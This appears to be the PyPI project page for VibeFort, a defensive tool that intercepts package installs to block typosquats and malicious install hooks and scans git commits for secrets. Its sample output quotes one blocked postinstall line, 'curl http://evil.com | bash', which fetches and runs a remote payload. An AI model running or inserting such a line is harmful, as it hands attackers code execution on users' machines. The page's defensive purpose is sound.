Skip to main content

Security layer for AI-assisted development. One command, permanent protection.

Project description

🏰 VibeFort

Security layer for AI-assisted development. One command, permanent protection.

VibeFort protects vibecoders (Cursor, Bolt, Replit, Claude Code users) from supply chain attacks, leaked secrets, and insecure AI-generated code. Run vibefort install once — it silently protects every package install and git commit forever.

Quick Start

pipx install vibefort
vibefort install

That's it. You never type vibefort again.

Why pipx? VibeFort is a system-wide CLI tool, not a project dependency. pipx installs it globally in an isolated environment — the standard way to install Python CLI tools. Install pipx if you don't have it: brew install pipx (macOS) or apt install pipx (Ubuntu).

What Happens After Install

# Normal pip usage — VibeFort intercepts silently
$ pip install flask
✔ flask 3.1.0  clean (0.2s)

$ pip install reqeusts
✖ BLOCKED  Possible typosquat  similar to 'requests'
  Did you mean: requests

$ npm install evil-pkg
✖ BLOCKED  suspicious postinstall script: downloads external payload
  package.json: postinstall runs curl http://evil.com | bash

# Normal git usage — VibeFort scans staged files
$ git commit -m "add config" VibeFort blocked this commit  1 secret(s) found
  Secret found in src/config.py:14
  AWS Access Key detected

Supported Package Managers

VibeFort intercepts 10 package managers across Python and Node.js:

Python

Manager Commands intercepted
pip / pip3 pip install flask, pip install flask==3.1.0
uv uv pip install flask, uv add flask
pipx pipx install black

Node.js

Manager Commands intercepted
npm npm install, npm add, npm i
npx npx create-react-app (scans before execute)
yarn yarn add express
pnpm pnpm add express
bun bun add express
bunx bunx cowsay (scans before execute)

npx and bunx are especially dangerous — they download AND execute code in one step. VibeFort scans the package before allowing execution.

How It Works

Package Scanning (automatic)

Every package install goes through two tiers:

Tier What it checks Speed When
Tier 1 Known-safe cache (10k packages), typosquatting, registry existence, slopsquatting < 500ms Every install
Tier 2 Downloads to temp, inspects setup.py/package.json hooks, .pth files, obfuscated code 3-5s Unknown packages

Secret Scanning (automatic)

Git pre-commit hook powered by betterleaks (234 detection rules):

  • AWS, OpenAI, Anthropic, GitHub, Stripe, Google API keys
  • SSH/PGP private keys, JWT tokens
  • Database connection strings
  • And 220+ more patterns

Coming Soon

  • vibefort scan . — code vulnerability scanning (SQL injection, XSS, insecure deserialization)
  • vibefort infra . — infrastructure auditing (Supabase, Firebase, open S3 buckets)
  • vibefort audit — system compromise check
  • AI-powered analysis with plain-English explanations

Commands

Command Description
vibefort install One-time setup: hooks + secret scanner
vibefort uninstall Clean removal of all hooks
vibefort status Dashboard with scan stats
vibefort --version Show version

How Install Works

vibefort install does two things that persist forever:

  1. Shell hook — Adds function wrappers to ~/.zshrc or ~/.bashrc that intercept all 10 package managers. Loads every time a terminal opens.

  2. Git hook — Sets a global pre-commit hook via git config --global core.hooksPath. Applies to every repo.

A 🏰 castle icon appears in your terminal when VibeFort is active.

vibefort uninstall cleanly removes both.

License

MIT — see LICENSE.

Secret scanning powered by betterleaks (MIT). See THIRD_PARTY_NOTICES.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

vibefort-0.2.5.tar.gz (158.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

vibefort-0.2.5-py3-none-any.whl (139.2 kB view details)

Uploaded Python 3

File details

Details for the file vibefort-0.2.5.tar.gz.

File metadata

  • Download URL: vibefort-0.2.5.tar.gz
  • Upload date:
  • Size: 158.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.3

File hashes

Hashes for vibefort-0.2.5.tar.gz
Algorithm Hash digest
SHA256 b8309b1a37973dcc4d88b2bcc4d3568d4ef3c3fb45516ada0f3e4af2143a624b
MD5 5ddabbf20994eaba3eb94aee665c060e
BLAKE2b-256 5576b432a28869adbf058f42eccb4108338bdbc1ae2c06fefcbd73e9c6f621d0

See more details on using hashes here.

File details

Details for the file vibefort-0.2.5-py3-none-any.whl.

File metadata

  • Download URL: vibefort-0.2.5-py3-none-any.whl
  • Upload date:
  • Size: 139.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.14.3

File hashes

Hashes for vibefort-0.2.5-py3-none-any.whl
Algorithm Hash digest
SHA256 b1702bc9288b5048f2ebd5e24eac1d7f0d52e65bb7dd517bc781958e26fa9de3
MD5 63d8b1b51a2d2b23e4d5cafa58beab15
BLAKE2b-256 0c4f96b3a2ec6f5e63443bacf710289184e42c556a4eb90e3e11cfb5af207db5

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page